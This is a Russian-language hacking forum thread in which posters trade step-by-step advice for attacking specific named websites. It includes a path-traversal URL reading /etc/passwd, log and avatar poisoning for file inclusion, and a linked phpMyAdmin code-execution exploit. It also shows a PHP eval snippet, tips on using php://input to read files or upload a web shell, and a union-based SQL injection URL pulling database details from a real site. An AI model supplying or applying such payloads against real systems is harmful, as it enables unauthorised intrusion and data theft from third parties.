http://seafightclub.com/index.php?page=../../../../../../../../etc/passwd%00 что можно сделать с этим? =( в пхп не силён
во первых можно пробовать метод Slesh а, через Webalizer http://seafightclub.com/index.php?page=../../stats/index.html%00 во вторых там есть форум, пробуй аватарку в третих там ПМА есть, смотри версию.. а про environ и тп забудь, пхп тут cgi программа
в смысле не работает а тут http://seafightclub.com/usage_201107.html Not Found The requested URL /usage_201107.html was not found on this server. да и домашней папки нет WebAlizer а
http://seafightclub.com/index.php?page=../../stats/usage_201107.html%00 папка /stats/ это и есть домашняя папка вебалайзера =\
Подскажите каким софтом пользоватся чтобы находить всяческие бэкапы, changelogs, и другие полезные файлы на сайте ?
Там есть phpmyadmin, и все условия для работы этого сплоита: http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/ Я перепроверил
Ну тогда уж стоит сказать, что можно выполнять код без вставки огораживающих кавычек. PHP: <?php $a = "{$_GET['as']($_GET['eval'])}"; echo $a; //?eval=phpinfo() ?> Уязвимости такого типа встречаются нередко.
http://mail.pnz.ru/face/action.php?action=aff_mail&mail=7&verbose=0&lang=../../face/index это пхп инъекция? если да, то че с ней сделать можно?)
Есть php инъекция c mq=off, Но там врублен open_basedir. Можно ли с применением новых техник типа data:, php://stdin - php://stdout - php://stderr - php://output - php://input и т.п. сделать читалку, чтобы читать исходники а не инклудить
Через php://input выполнить код, который и будет читать файлы. Однако легче будет залить шелл. https://forum.antichat.ru/thread232773.html Так же не забудь о загрузке аватаров и т. п.
Вот к примеру скуль http://www.riviera-crimea.com/detail.php?id=425 Как пошагово ее раскрутить до такого вида раскручивать ручками http://www.riviera-crimea.com/detail.php?id=-425'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,user(),version(),database()),15,16+--+ Вопрос еще такой почему если мы убираем или ковычку или знак минуса то скуль невыводит результат. От чего это зависит?
Мне бы расписать почему при http://www.riviera-crimea.com/detail.php?id=-425'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+ данные выводятся http://www.riviera-crimea.com/detail.php?id=425+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+ (убираем минусили ковычку) данные не выводятся как узнать когда писать именно ковычку, минус и ковычку а когда просто ковычку
